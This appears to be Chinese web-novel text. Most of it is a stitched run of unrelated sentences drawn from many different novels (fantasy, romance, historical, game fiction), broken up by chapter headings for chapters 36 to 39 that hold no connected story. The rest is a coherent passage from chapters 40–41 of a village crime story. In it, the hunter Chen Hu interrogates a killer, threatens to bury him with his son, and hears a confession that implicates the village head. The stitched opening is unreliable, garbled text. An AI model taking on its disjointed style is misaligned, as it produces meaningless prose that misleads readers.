这种被隐瞒的感觉一点儿都不好,江慕宸感觉自己虽然不是个废人,但是,躺在这病床之上,不知道外界的消息,就跟一个废人没有什么区别了。 仪器中可以明显感受到暗藏的强大生命力,想必,这东西内部一定充斥着他们口中的生命能量。 今天来到这里,就是为了让叶凝白来熟悉宫氏集团的环境,他有意的这样安排,就是为了她能再一次接手宫氏总裁的位置。 两人执手相看泪眼,刘茜率先从幻想中醒来,如今别说回归的信号还杳无音讯,连自己的身份都无法曝光于世。擦了擦眼泪道:“龙哥,此事遥远,等有信号再说不迟。”把手从陈龙手中抽出,两人也渐渐恢复正常。 一个时辰之后,整个村庄飘满了肉的香味。原本没有生机的村庄,顿时之间变得热气腾腾的,充满了生气。就好像原本的人还在这里生活一样。 “嫤儿,我是男人。就是要来保护你,怎么反而需要你来保护我? 魂洛此时刚刚从云头之上降落下来,便有上百只的妖兽飞鸟直接向他攻来,但是修为并不是很高。黑羽出来,直接将他们一招你秒杀,但是就在此时,在山顶之上突然之间蹿下来一只猛虎。 慕八跟慕七对视着,觉得,这个事情,不知道,他们家先生是不是知道。 在封凌浩的眼中,黛米还是个孩子。可也是这个孩子,做出了伤害司徒嫤儿的事;也是这个孩子,说出了对自己的爱意。 等回到房间以后,司凉把阮绵绵放在了床榻上,看着她立马熟睡过去的睡颜,嘴角忍不住轻轻勾起。 神君此时的每一个步骤,都和青君记忆中约略相同。但到了某一个步骤,却有了不同。 武松听了,心中高兴,叶夫人既然知道自己来意,想来那开眼草要取回不难。 “你刚才说沈柔嘉会魅惑术!可我没在她身上看到魅惑术的影子。”聂唯疑惑的问。 “什么武松,妈妈可没听清楚,只道是个韩信!”老鸨懒洋洋的说道。 “当然了,我不会让你白帮忙的,这是五百万支票,算是我请你出手的费用。”聂唯拿出一张早已经准备好的支票。 两人的脸上分别出现了不同的神情,一个说不错一个说难吃,说完之后分别离开。 虽然她没有他的好友,但因为同在一个区域内,所以也可以邀请他加入队伍。 做牌匾一般用的是杉木,可以防水,所谓“落雨杉”,顾名思义就算下雨也不怕,可就算是上好的杉木也值不了多少钱,故且武大郎的眼睛不断向着洪福身后喵去。 “哗啦啦~”因为道路出现,本来绝望中的魔兽猎物,马上转身拼命奔跑,沿着科斯莫让出的道路冲出。 而孟启此时自然也是没有了什么吃饭的兴致,而且虽然孟启不知道剩下三人究竟是什么来头,但是也感觉到有些不对劲。 武松跳起来,折断一根竹子,扯下大树垂下来的细丝,在路旁的荆棘处折下一根倒刺,绑在细丝上,用竹子在泥土里胡乱的挖了几下,抓了一条蚯蚓,挂在倒刺上。 燕真现在泪流满面,自己成功的冲击到筑基境七重,自己终于胜利了。 “若是如此,倒是好办,在安定城,还没有我薛家和钱家买不到的药材,这个事情就包在我两家身上,钱老伙计,你也表个态。”薛老爷子突然对钱老爷子说道。 我点了点头,东北五仙,分别是常仙,兔仙,狐仙,灰仙,黄仙。看着她的兔子模样,我心中已然相信了几分。 到了这里后,霍彦威一面下令大军开始扎营,准备休息,一面派人前往宋州打探消息。 “怎么,才见面就想认识哥哥,是不是也想服侍哥哥呀?”欧阳威嘴上挂起淫笑,眉毛向何雨馨跳了跳。 过了片刻之后,一个头顶现出无尽庆云,展示无数大道玄妙的清瘦中年男子,出现在场中。 黑袍男龙卫石海与龙卫苍天对视眼,当场飞到林逸背后,偷袭去。 林逸环扫全场,却见众人目光炯炯有神看来,仿佛都相信他能战胜界主。 赫连托不知他什么来头,心里没底,但仍然厉声喝道:“你究竟是什么人?”那个年轻人也不答话,双剑生风,招式巧妙,跟赫连托战一起。 第一卷 第36章 你他娘的是火眼金睛的齐天大圣吗? “臣在。”东伯侯刑峰年过六旬,他发须灰白,体壮如牛,双目炯炯有神。 记得当初,她斗胆拉薛戬入伙,把他当成提款机,多少还是存了一些借若渔身份的心思。 包装他听得懂,但此物外表包裹的东西如此透明,莫非是神界特有的琉璃? 轩景帝怒目而视,气的心肝都在疼,他怎么生出这么一个混账玩意。 而瑶兮也是有一搭没一搭的回应,眼神却时不时的瞄向郑渊的背影。 不知道电话那头说了什么,只见安语颜的眉头渐渐皱起,眼神也变得愈发沉重。过了一会儿,她挂断了电话。 按理来说,你都去请克里斯·卡明了,那怎么也得在同档次或者稍微差点的巨星里挑一挑吧? 楚九离怎会不知陈氏话中意思,你的东西是我的,我的东西还是我的。 中森银三一把年纪哪里玩过这种东西,他正要转头去问就听到这时候下方传来熟蒸的童声。 而今晚,面对着他的黛安,就让他隐约觉得,有她跟王虞在一起的样子。 “臭彤彤,真没良心,你等着,我今天非给你煲出一锅完美的鱼汤。”说完,他一脚油门,车子便驶了出去。 “没办法,受人所托,不得不去。”想起那个厚脸皮的老头,陈默就是一阵无奈。 “其实你完全可以过很好的生活,钱财上面吃喝不愁。可惜,人心太过贪婪,到最后,只会弄的自己没有任何的好下场。”余安安懒得再搭理她,在卢凯的陪同下,转身走出了会议室。 安歌都没意识到,她对盛司遇的信任,已经到了如此地步,甚至……可以将命交到他手里。 “这是墨家祖师爷起的名字,你有什么意见吗?”班老头狠狠地给了天明一个爆栗,怒瞪着天明。 “哎,住手。”到了房间中的慕容清璃看到冷月儿在扫地急忙制止到。 八成是他自己同样被卸掉四肢,漂在血泊中——虽说他好像什么坏事都没有做过。不过被刚刚看到妻子拿着的他的稿纸、愤愤不平的模样,他猜想自己是在因主角的行为而感到彷徨不安吧? “盛……”安歌还没来得及说点什么,便见盛司遇和陈慕野拽着那两个男人走进了包厢里。 而就在这时候,不远处一道黑光竟然是缓缓地穿过了墙界,悄无声息地流淌而出。 燕傲男扶起他高大的身躯,依旧把他安置在那张太师椅上,龙一业突然皱眉地发现,自己四肢不得动弹了,只不过却也并没有感受到丝毫杀气,他鹰一般的目光继续紧盯着她娇美的脸庞。 “搞定!”夙炎拍了拍手上的灰尘,整了整兜帽朝伙伴们那边跑去。 听到蓉儿这样问,李龙飞想了半天也没有想出来一个大名鼎鼎美艳的大唐公主,会对一个樵夫怎样介绍自己。 再过两天,衣雯做东,在水上人家请温青芙一家人,一个月之后,肖志浩和苗三智打得火热,貌似有通家之好的样子,什么事一个电话就办得妥妥贴贴。 “子宁!米白可是你的妹妹呀!”蒋默早就知道薛家人的自私和无情,只是没想到已经无耻到了这种地步,用一个死去的人要挟米白,而且,还是第二次的利用米白。 何雅安得知祝蓉的安排,看出对管理经济很有一套办法,只要信得过,不做假账欺骗她,就是普通的管理人员也能管理这家处处被熟人罩着的航运公司。 “哪儿坏了?!”荣骁宇听到米白说指甲破了,焦急的问着。语气里透着明显的心疼。 “九殿下,魔界的事情,你管这么多做什么,这妖魔修罗三界这万年来好不容易才安定了,天帝都不轻易惹他们,你可别添乱!”老头子急了,连忙跟上去。 见这郝连城深睡着了,缪叔便走到靖榕身边,偷偷问上这样一句。 看着飞羽一副好死不活的无赖样子港湾栖姬不由自主的撇了下嘴角,舰娘的顽劣本性,居然还不忘和船做哪种事情,应该说这是深海的幸运呢还是不信呢。 只是,与紫芸儿进阶的顺风顺水不同,白子慕回来时,却是一身伤痕,气息也异常的杂乱,明显是通过了某种危险手段才进阶成功的。 “哈哈哈……,阿锋你终于开窍了。就是这样了,大道至简、万法唯心、红尘炼心,拨天弦、奏天曲,可以闻天道。”帕尔马将军大力拍打着常剑锋的肩膀状甚欣悦。 “哼哼!消息……这消息就是用来泄漏的,不止是我们,其他三家这几天里面,也突然有类似的消息出现,看来大家是想到一起去了。”叶家老族长却诡异一笑,丝毫不担心的说道。 “不用躲藏了,你们是谁,为什么在这个时候打量战场,想要救他们走吗。”李骏对着不远处一个阴暗的角落说道。 而缪斯,则是重新专注地搅动起了用一个三脚架吊着悬在火堆上的锅中的东西,那是煨了许久的雪白梗米肉粥。 焦急让她的语调都变了,急得笨手笨脚,最后还是对方自己掀开了衣服,让她如愿以偿地看到了那个印在宽阔胸膛上的黑色大脚印。 “我见过你的爷爷,在龙首城。”莱茵菲尔的话,让乌拉拉又是一惊。 因为怀秀可汗已死,王城人口财富也整个被李飞俘虏去了安东,剩下两座石城,几乎没有任何抵抗,安禄山大军一到,直接就投降了安禄山。 辽东半岛沿海,近百艘大海船又一次停泊,除了运来粮食之外,还有一千多名难民。 他把心这么一横,噗通一声跳了进去,刹那间,他的衣服已经被溶解,浑身麻酥酥的,说实话还挺舒服,可下一刻,他的皮肉猛然炸裂,骨骼内脏等冒出一阵青烟,在被一种能量迅速腐蚀。 第一卷 第37章 难不成要杀了自己? “也就是说黑杀活不过三年?即使在基地静养也不成吗?”王平嘴上说着,手里却没停,撕开早已经腐朽地铁门,矮身钻了进去。 此前他因为没有接触过上古魔族,所以对于上古魔族并不是特别的了解,但是自从在长安城中与那瘟魔交手之后,他这才被上古魔族们强大的修为所震慑。 可是他不要请求,他要海棠自己转过来。然而,海棠却一直没有转过头来,她只是一直向前走,走出了他的视线之外。 故而带着哮天犬回返花果山之后,他便用法力将花果山给封了起来,以免二郎神的天眼查探他花果山的情况,另一方面则是加大对孙影的训练,争取将更多的变化之术传给他。 “我现在的身分,是联合国驻亚洲的难民专员,专责处理中南半岛的难民问题。 军官讲黄绢和鲁大发登上了电动车的后座,他驾着车,向前驶着。通向内院的道路,相当曲折,经过了几道拱形的门楼,门旁和楼上都有武装警卫,看得鲁大发叫苦不迭。 “韩大人,你没事吧?”见韩愈还愣在当场一动不动的,裴无名不由得侧过身去,拍了拍他的肩膀,关切的询问起来。 幽冥使者呵呵一笑,她刚想要离开,一道劲风袭来,逼的她是连连退步,踏出了恶魔城的范围。 掌沿与神剑锌刃相触,剑气与血焰相抵,两人相隔不过半尺,身形却好似凝固了。 只见他双脚踩上船侧护杆,便从数米高的船上纵身一跃,直接跳到了木船之上。 秦情掂了掂摄像机本想往石头上狠狠一砸,但想到什么她摸了摸下巴,将里面的SD卡取了出来。 游览了一番勃朗特宅邸,并且将宅邸的布局、守卫的数量与分布,通通牢记于心之后,罗夏便提出告辞。 只是一眨眼,他又回到了自己的房间中,墙上的时间没有变化,秒钟继续朝前移动着。 作为现代社会穿越而来的天朝青年,罗夏的思考方式比这个时代的任何人,都要先进且前卫。 “呜~感觉头晕晕的。”扶着脑袋的赫萝克像是醉酒般,身体不断的左右摇晃。 众人懵逼,不知道发生了什么事,也不知道这代表什么,不过,他们也知道,还是得老老实实的等着楚渊解释。 王奕博上一个公司,也就三百多万的资产,人员三十多,代理了两款游戏还失败了,而现在算是扩大了十倍都不止的,王奕博内心有点发怵,没有了信心。 提前画符,只是有备无患,关键斗法的时候总是用得上的,并不会浪费。 说到这,夏景行表情一正:“复兴工业集团虽是一家新公司,在行业内也谈不上什么威望,但我们的志向就是打破外国技术封锁,成为一家真正的民族科技企业。 但令所有人都万万想不到的是,在巡天镜被毁的下一刻,那道侵入金蛟王体内的紫霄神雷,竟自己钻了出来,并且毫不停留地激射向三眼雷鲸的所在之处。 许天川也同样表情凝肃的提起警惕,将幽天剑紧握手中,做着随时应对的准备。 四百年前,奴良陆生的爷爷曾经和花开院家族的阴阳师联手,战胜了羽衣狐。 其内部设有直径约一百公尺的战斗区域,以及环绕在战斗区域四周,形成磨钵状的阶梯式观众席。 过了一会,终于完成了治疗的布兰妮抬起了沾满了鲜血的右手,也慢慢躺倒在地上,昏了过去。 此时,于海底深处,人形狻猊正咬紧牙关,不断将妖力灌入巡天镜内,双眼紧张地看着空中的金蛟王。 不过正开着双瞳会的艾米却突然间感觉到了一阵头痛,不是形容,是真的很痛。她伸手揉了揉自己的脑袋,表情有些痛苦。 他多少知道一些真正原因,还是洋妞心气太高,又是半路接任CEO职位,一心想做出一番成绩来服众,甚至是说服自己内心。 “咳咳咳!!”强忍着鼻子里的辛辣感,李燕歌咳嗽了两声,这才胡乱的咀嚼几下,把寿司吞了进去,避免尴尬的把米饭喷出来。 一般情况下,圣域执事不会出现在世俗之地,因此铁血与圣域交往多年,也未曾见过圣域执事是何人物……没想到今天却在这里遇见一位,而且还是主动找上门来的。 天越来越热了,连刘妈都在抱怨今年的夏天似乎特别热,可欧阳静在家里还是穿着长袖的运动装,越来越瘦的她穿起来就好像偷穿了别人的衣服,宽松的可以荡秋千了。 这般反复考量,夏溪苽愈发不安起来。无奈南宁绝人已不见踪影,她却不能做个甩手掌柜。 老大爷很自然的接过了邱爸递过来的烟,邱爸划了根火柴先给这个老大爷点上,自己才点上。 因为这部电影是民国风,为了拍出那种气韵,在服装上悠然也是花了心思的。 再看那地形,极像一处复活点。这下,众人都算明白是怎么回事了。 众人退到角落,飞溅的沙石时不时的向他们冲来,弄得众人灰头土脸。 而最后一个犯罪现场,也有一个破锅,而锅里的人肉,只是被稍微烫了一下,几乎还是生的。 因为,接下来才是最关键的时候,需要时时刻刻的提防着对方,要不然,一旦在交换人质的过程之中出现什么状况的话,那就后悔都来不及了。 第一卷 第38章 救与不救 敖箐本来就是从后世海边特产店的那些商品获得的灵感,自然不会反对。 落月见状,赶紧掏出来止血草嚼碎敷在紫年的手腕上,可血流还是不止。落月检查了一下戒指,这老东西想不到还在戒指上暗藏机关。 吕河泽以及戴悦则是摇了摇头,却是伸出手拒绝了,他们都有自己的储物戒指。 李落嫁进秦家的第二年,秦勉便从西北调进京都工作,后来还成为了国内研究刑事犯罪方面的专家,被大学聘为教授,被各地邀请讲学,身兼数职,无上荣誉。 看着这一幕,方涛四人不由露出古怪无比的神情,看着毛广洪的眼神中隐隐夹杂着一丝怜悯。 本来还打算随便翻两下就扔一边,现在感觉这些都是宝贵的财富。 看来此人在胭脂巷之中设立了眼线,自己被费无极找去之后便引得了他的注意。 李恪也明白李世民这是在教自己为君之道呢,确实,作为一个宅男,别说为君之道了,就是简单的为人处世李恪都是一塌糊涂。 看见客人如潮水般涌进酒店,再加上手下打听到,旺角酒店的客源大大减少,辜洪明十分高兴。 半月眼中蓝光一闪,继续浇灌花花草草,权当一旁的阎安不存在。 “多谢。谢谢表哥百忙中抽空, 特地来探望。”姜玉姝百感交集。 终于,就在韩飞羽把三眼怪的灵根吸收的所剩无几,而他自己的灵根也达到了同级之人三百五十倍左右的境界之时,三眼怪终于醒了过来,醒来之后的他,第一时间便是感受到了灵根的异常,随后发出愤怒和惊恐的吼叫。 “你没让鲜花冬日盛开?”拓跋曜狐疑的问,他看传来的讯息,讲经的人身边真有鲜花盛开,花香袭人。 攀附石家是两人自己找上门的,惦念灵州人的财富也不是作假,但……谁能想到灵州人竟然如此凶悍?一个模样怪异的“烽火台”竟然老母鸡变鸭成了大杀器?而且这样怪异的东西竟然还有四个? “奥尔基那边如何?”进了营地,当面见到的是亲卫副队安提亚诺,罗开先随口就问。 这一带的星空航线最为考验导航员的恐怕就是如何避开这些无处不在的战场残骸。 边塞秋风渐起,傍晚时分,苍江岸边风强劲,吹得赫钦卫军旗烈烈飘扬。 懵懂的宋军士卒乍听官长发怒,便不由自主地举起了兵刃,而灵州罗某人这一方,虽说主将还算从容,但所有的亲卫都做好了第一时间发起攻击的准备。 两句话又把她和慕铭往一起扯,刘跃华想和姜南套近乎,更想打探她和慕铭的关系。 廖奇迈正坐在黑虎帮的驻地里和兄弟们吃着饭,说是黑虎帮的驻地,其实不过是一间大一点的屋子而已。 金鹰联邦也是与大云国齐名的强大帝国,不过在金鹰联邦周围的诸国都是一些烂泥扶不上墙的国家。那些国家的政府大部分都被各种毒枭、妖魔渗透,常年处于混乱之中,也是许多妖魔的大本营。 乔恩那富有激情的声音响起,马蒂挥挥手,轻轻一跃,来到了大竞技场中央,静静的看着自己的对手拜西。 “可以,很公平。”蒂斯用手指不断敲击桌面思索,随后便点头应允。 穿过白雾,不时能看见泛起的水花,“哗哗”的水流声也轻轻传来,雾气不断从水面上升起,美不胜收。 迅速抱紧自己面前的酒坛,不让孙天碰一下,见此,孙天苦笑不得,这算个什么事,自己来接她们,竟被误会成抢酒来了。 天磁珠进入巫行云的黑雾后,毫无波澜,但其他人的目光更加热切,这可是能放入丹田的天品法宝,而且威力非凡,在丹田中养的越久,使用的越是得心应手。 “好啦,别哭鼻子了,我还要去处理一些事情,你好好休息吧!”扶苏微笑着说道。 杰洛说完后,他表示[旋风]含义的拉丁字母,或许是2进制法的密匙。 而在她的身后跟着高岑和杨沛等人,让周林三人吃惊的是,对方的人数似乎又增加了。 “他思念之人非我!我只可远远看他便好,如离近了便会彼此伤害!”秦卿儿说道。 虽然冷寐影还有许多细节没有问,可这个时候,她跟风天澈却也同时动了起来。 叹了口气,冷寐影收了三寸金童,然后起身回到了夜鳞他们身边。 现在极天会和伏魔宫的弟子全部聚在一起,他就是想要抢回来都不可能,只能便宜了乐无极。 忽然房间里的灯就熄灭了,紧接着传来几声沉重的闷哼声,和此起彼伏的哀嚎声。 “我们星市的资源,怎么会拱手让给外人?”袁修白狠狠的咬了咬牙,他现在是袁家的家主!而他才二十多岁!他相信自己上任后,就可以率领袁家变的强大起来,而周中的出现,完全打乱了的计划。 崔延孝比崔延庭看上去略老成一些,粗眉大眼个子很高,有种身强力壮的感觉,笑起来很豪爽。 病房距离院长办公室有一段距离。贺永仁除了在途中和一些医院的工作人员打招呼。并未和林非谈及此事。林非也沒有急于追问。只是默默地走着。 “我们走!”天环学院领头者淡淡地扫了众人一眼,挥手间进入第八号城池消失不见。 “我什么时候成了班上的精神领袖了?我自己怎么不知道!”杨弃诧异了一下,问道。 第一卷 第39章 想活命,就照做! “好的好的。”她能同意加入,三人已经不胜感激,闻言连忙应下。 是个很多年的老牌节目,曾经很是风靡。近几年却没落了。经济发展,住房改善,观众口味也变了。大家都想着怎么装修大房子,谁还愿意看蜗居改造? 不过这对威廉姆斯来说没任何意义,太阳现在已经从西部升起,不惧怕任何强队。 “说说吧,那芯片到底是什么?真是你自己研发的?”王璇死死的看着李多伟说道。 “此人之前是华夏的知名科学家!当初不少领域都是此人在带领的,华夏这边可以说给了其最好的待遇,无论是他的家人还是其它什么!可不知道为什么此人直接跑去了漂亮国!”孙少洁摇头说道。 不得不说,琴曲之道的确可怕尤其是在大军交战之时,那全范围的攻击光是让人想一想都觉得不寒而栗。 他的目光太过冷厉,霍启林心头一凛,竟然有种自己要是不让,霍霄就能一棍子砸他头上的错觉。于是下意识侧开脚步。 又坐了二十分钟,外面终于传来了车声,周津南的车终于过来了。 林归一咬牙,虽然她知道巫行说的都是对的,但是这种丝毫不给面子的说法,实在是太过分了。 “那个,咱们抓紧时间开始吧,我给你们计时。”吴曼赶忙抢过杨阳的话,大步往场上走去。 周皇在主座上遍观局势,看那出了名暴躁的丐帮长老郝轻松已经半醉,便嘴角一勾,与郝轻松身边的一个老臣微微示意。 “怀罪老和尚,你要是再晚出现一会,可能就要多超度几个亡灵了。”黑衣青年掏着耳朵,斜眼看着意料中将会出现的两人,漫不经心的说道。 但是,就在这时候,一条条大道神纹,宛如星辰彩带,环绕在陆乾的周身,强行束缚着一切元气,维持着他的形体。 越国还有吴国的几万大军驻扎在那里,越国已经没有一兵一卒,越王就是有二心,也成不了事。 德莱厄斯的眼神变得危险了起来,他知道天空上的是什么,但是他要逼迫拉克丝说出来,这将给他认为的,陈希正在进行的诏安工作提供帮助。 轰,一头约七层楼高的怪物撞碎了墙壁,向着金王熙冲去,外观上像是一头恐龙,只不过只有一只眼睛。 叶轩脸上勾起了轻笑,「剥皮鬼」的伪装可没有那么简单识破,看来,谷长关出其不易的这一招是没有那么简单成功了。 但范蠡虽然是后世穿越过来,而且他的父亲还是一位酿酒工程师,但他对酿酒却绝对是个门外汉。现在他想酿出后世的蒸馏酒,那谈何容易。 挑起了事,艾瑞莉娅一声不吭的就溜了,陈希狠狠的瞪了她一眼。 如此离奇的场面,吓的太子只好去请江湖术士起来解惑,可最终得出的结果便是,这江殷王尘缘未了,死后自己将魂魄锁在了七窍玄机盒中,若强行取之不但会使其必反,反而会惹怒江殷王亡灵。 杜正一吞咽了一下,想到罗奇就坐在外边,这竟像是一个莫大的安慰。 杜正一看着他琢磨了一会,罗奇拿着汉堡,清白无辜地回望着他,一双鹿眼柔和温顺。 更重要的是那些同事朋友们的心意,让她最近一直高高悬起来的心终于得以放松下来,有了片刻的休憩。 黄茂和李明泽两人迅速和法武圣殿的法武商量了一下,将所有人分成三份,一部分人巡逻,一部分人集中守卫苏家的地方,另一部分出去消灭来犯魔兽。 “但终究有限。”左宇接口道,他说的是实话,杜正一也无法反驳。 “你尝尝我的,吃米线粉丝面条这种汤面类的不放醋是没有灵魂的”韩七七将碗向顾辰那边推了推,示意顾辰夹点尝尝。 姬仁笑了笑,看着自己的左手,你也不是人,那么,就只剩一个了。 “怎么又是说我?我走远点好了。”罗奇半真半假地抱怨着,顺着这座石头造型绕了起来,一面仔细地欣赏着石头上残缺不全的雕刻。 想到这里王平闭上眼睛感受了一下自己的两个御兽所在的位置,突然发现它们离自己很近,感觉就在自己的脚底下。 “你刚才说他们高地法师储存了几十万种植物的种子?”杜正一向他问道。 等大家到了膳厅落座,大房的大少爷邵兆坤让下人把那酒打开一坛,等酒被送上来,还没尝就闻到了浓郁的酒香,男人们都迫不及待要品尝了。 其实易寒也曾问自己到底天赋如何,但后来他明白了,自己的天赋或许很好,只是在战争面前,是那般微不足道。 诅咒娃娃一闪,刹那消失无踪,再次出现的时候,已经穿过了虚空盘的封锁,来到林钦面前。 明明知道事态的发展,但艾康也只能说无能为力,他的能力还没有达到能够庇护一个国家的地步。 虽然,这片世界至少上千年不会有战争,但这句话还是足够有勇气了。 这时,那灵水蚺忽然张开了血盆大口对着空中的何灵咬了过去,大有要一口吞了何灵的意思,此时,那口中的腥气被风带着吹到了众人的面前,顿时,众人差点呕吐出来。 第一卷 第40章 你放心,我是个好人! 陈虎这才看清这王二的模样,五官倒是端正,眼角处有深深皱纹,作为一个常年在山野游荡的猎人,他的皮肤蜡黄而粗糙,不过从他嘴角边刮干净的胡茬来看,这还是个讲究人。 与庄稼地打了一辈子交道的马老三,哪儿见得这场面? 赶忙就要上前劝阻。 可当对上陈虎那对冷冽的眸子时,马老三顿时缩了缩脖子,没敢吭声。 陈虎不紧不慢的走到王二的跟前,蹲下身子,手里面耍着那柄短刀,短刀从王二头顶游走,陈虎这才淡然开口道: “说说吧!为什么要杀我们?” 王二盯着那柄距离自己眉心不足一尺的刀,眼中满是惧色,嘴唇抖动着出声道:“我不知道……我不知道你在说什么!为什么要用弓箭射我?你这是杀人,是犯罪!” 陈虎冷笑不止,收起短刀一把拽住王二领子,便拖拽着往一旁走去。 王二仍在嘟囔不停:“你们这是杀人!是犯罪!要被枪毙、枪毙!” 马老三见到这一幕后,紧攥着拳头,又无奈松开,赶忙跟了上去。 这时马老三仍想劝阻陈虎,生怕他一生气再做出别的出格事儿,上前后一边查看手掌、胳膊流血不止的王二,接着出声劝阻: “陈……虎爷,他王二家和我家就隔了一堵墙,他这人我是知道的,前些年服兵役几年出来,家里兄弟多,田产没几亩,做了猎户。” “平日在村里,他为人也老实,老婆当年生娃难产死了,他就一个独儿子,今年恢复高考,他儿子都送到县里舅舅家念书前几日才回来……” 马老三嘟囔半天,絮絮叨叨说了些有关王二的鸡毛蒜皮事。 陈虎充耳不闻,很快拖着马老三来到朱明惨死的位置。 见到雪地里早已经冻硬的朱明,马老三直接就蒙了,一时之间,直接就将没说完的话,全部都咽回了肚子里。 王二则眼底闪过一抹狠辣,闭上眼,不再吭声。 陈虎一把将王二扔到朱明的尸体旁边,冷哼一声,望向一旁马老三: “去看看朱明脖子上的豁口,再看看王二腰上别着的那把刀,就算刀上没血迹,切口和刀的开刃处也对得上。” 马老三狠狠咽了口唾沫,上前双手颤抖着从王二腰间取下那把匕首,匕首上正如陈虎所言,还沾染着星星点点血迹。 马老三接着查看朱明脖颈处致命伤,看完后,心中也有了结论。 下一刻,马老三一头扎在一旁雪地里面,呕吐不止! 陈虎则望向王二,接着冷冷质问道: “别不吭声了!说说吧!杀朱明、马老三,甚至于让你儿子骗我过来是为什么?我记得,老子和你之间没什么恩怨吧?” 王二闭着眼,躺在雪地上,彻骨的寒冷不断侵入周身,手掌和右手臂膀处,伤口还在涓涓流血。 王二能十分清晰感受到随着鲜血横流不止,他的生命也在缓缓流逝,地上的冰雪也在不断剥夺他身体内仅剩不多的热量。 他惨然一笑,猛地睁开眼,露出那对猩红眸子,声音低哑道: “对!我们的确没啥交集,甚至……甚至于你猎的野猪,我还沾光带走了一头。” 一边的马老三闻声,整个人都懵了,接着怒斥出声: “你、你、你……那头野猪是你个杀千刀的偷走了?我那晚回去和你说了陈虎雇了我上山运野猪,所以你就提早出发,把野猪偷了?” 王二闻声,微微摇头,接着看向陈虎道: “从你进山带出熊瞎子开始,我便注意到了,你那日猎野猪时,我就在隔壁山头上看着。” “后来,听说你拖着野猪王差点儿死在出山路上,呵呵……为了那头野猪,老子也差点儿没走回去。” 陈虎微微颔首:“这事儿我后来知道了,当然这事儿只能说你欠了我债,不是重点!说吧,杀我作甚?” 王二摇了摇头,随后突兀的大声惨笑出声:“你杀了我吧!我该死!多余的我一句话也不会说!” 陈虎闻言,不以为意的寻了一棵大树,倚靠着身子,接着淡漠出声: “换做旁人,只需要十分钟,我就有一百种方式,让他把该说的都吐出来。但对你,不需要这么麻烦。” 说到此处,陈虎顿了顿,接着望向进山道上方向,那里雾障缭绕,白茫茫的一片: “你让你儿子来诓骗我进山,可惜这小子脑子不好使,非说自己站在山腰处,瞅见了你们被野狼围困。” “这么大的雾气,亏他想得出这个说法。” “所以,进山之前我就察觉到了不对劲,追问王胜无果后,我把他绑了起来,就在前面山坡上。” “你若是不说,你们父子二人就团聚在这处山坳吧!” “当然!你放心,我是个好人!我会让你父子俩埋在一个坑里!” 马老三听到这话后,遍体生寒,两条腿都打颤使不上劲。 王二则在雪地上,疯狂挣扎起来,目赤欲裂,咆哮出声: “陈虎!你敢动我儿子,老子就算是做了鬼……” 陈虎见状,不耐烦的打断道: “做了鬼,你也不敢动老子!别废话!我给你两个选择!” “第一个选择,你可以咬牙啥也不说,那你们父子俩埋在一起,就是我最大的仁慈!” “第二个选择,你说出来缘由,我放你儿子回去。” 王二闻言,眼神涣散,身子颤抖着出声:“你凭什么保证你会放过我儿子?你……” 陈虎再度厉声打断道: “别废话了!随你信不信,我懒得多费口舌!你要不信,我现在把王胜带过来,直接让你父子俩团聚。” 王二此刻陷入了沉默,仅剩的神智也是靠着对他对儿子安危而担忧的执念撑着,片刻后,他缓缓出声道: “马老三,你要保证我儿子活着,算我欠你的,来世做牛做马还!” “陈虎……呵呵,其实杀朱明是意料之外的事儿。他太精明了,我本来打算在大雾里面给他和马老三甩开,结果,马老三被甩开了,朱明却一直跟着。” “本来,他要是跟不上,也不用死!” 王二眼神一凝,盯着陈虎: “我告诉你,但这事儿与我儿子无关!” 第一卷 第41章 一命偿一命 随着王二的回忆,陈虎总算得知了事情的全貌。 王二自然与陈虎之间,没有仇怨,更是鲜有交集。 王二本名王兵,家中兄弟四人排行老二,故被称作“王二”。 早年饥荒时,王二家几口人都没能熬过去,反倒是南下乞讨的王二活了下来。 二十五岁那年,王二回村,在南方做苦力让他攒了一笔钱,回到家不仅给父母兄弟修葺了新的坟碑,还翻新了屋子,娶了个媳妇儿。 结婚后没多久,王二妻子就为他诞下了一个儿子,儿子取名王胜。 对于王二这大字不识半个的苦命人而言,王胜取名寓意很简单,就是胜利。 王二家中的田产不多,再加上那些年头粮食不能高产,所以养活一家子十分困难,这才让王二被迫进山成了一名猎户。 好在,王二捕猎仿佛有着天分,这些年来收获颇丰。 后来,王胜逐渐长大。 王二因为早年到过南方,见过念书识字的人有着怎样的社会地位。 所以,在知晓镇上开办学校后,第一时间内便将王胜送去念书! 王胜也不负父亲所托,学习一直名列前茅。 直到去年,国家恢复高考,王胜也起了参加高考的念头,王二自然赞许。 于是乎,今年趁着收成欠缺,再加上各种灾荒,王二愣是靠着打猎,送儿子前去高考。 王胜也用一份录取通知书,回报了王二的艰辛。 但考上之后,学费又成为了家中最大的难题! 由于实在凑不出这学费,王胜今年并没有如愿去念大学。 好在,村长这时候找到了王二,告诉他可以签个文件,弄个补助,有国家救济,所有问题都迎刃而解。 王二大喜,但谁知村长陈桥却提了一个条件。 那晚刚好是雪灾过去的第五日,镇上灾后重建调查组刚来过村里。 村长将助学补助和贫困补助的单子,摆到了王二的面前,坐在王二家炕头上的村长陈桥沉着脸,冷声道: “这文件我能运作给你搞定,还可以让我来做担保人,可是这次雪灾死了不少人,陈虎又立了功,上面有把我给换掉的意思,我要是下岗了……” 说着,村长看似无意地朝着一旁的王胜,接着话锋一转,叹气道: “陈虎那小子最近倒是声名大噪,不过弄些鬼鬼神神的,他这辈子也就这样了。” “倒是你家王胜出息啊!和陈虎差不多的年纪,能考上大学,真就是文曲星下凡!” “你老王家出了个武状元,就是不知道要是陈虎顶了我的岗,看着和他年纪相仿的小胜,能不能平常心对待?” 说者有心,听者也当即明了。 当陈虎从王二嘴里听到村长的名字时,眼底便闪过了浓烈的杀意! 王二接着讲述,那晚过后,村长告知文件递上去等到审批有结果,估摸着得个把月。 实际上,他动了很多心思,却始终没想到要走到杀人这一步。 可隔日村长家儿子却又一次找上了门! 陈西海上门比起村长直截了当,直接就把话摊开了讲,依照王二描述,当时陈西海的原话是: “王胜倒是出息,文曲星下凡呵!” “啧啧啧……可惜文曲星没钱也念不成书!我实话告诉你吧王二,陈虎先前猎野猪却丢了头猪的这事儿,大家都知道。” “偏就你家大半夜熏猪肉,这事儿你可算与人家结梁子了。等到陈虎接了我爸的岗,你这文件,只怕发下来,你也落不到一分到手上。” “可怜王家十几代人,才祖坟冒了青烟,出一个大学生……” 这日,陈西海走后,王二便在心底打定了主意! 作为多年猎户,王二自然清楚什么地方有狼窝,也清楚这光景,山里死个人,尸体都不可能找到,更别提留下什么证据让人报警啥的。 一番合计过后,王二发现自己还缺一个让陈虎进山的机会。 所以,他便将心思放到了隔壁马老三家。 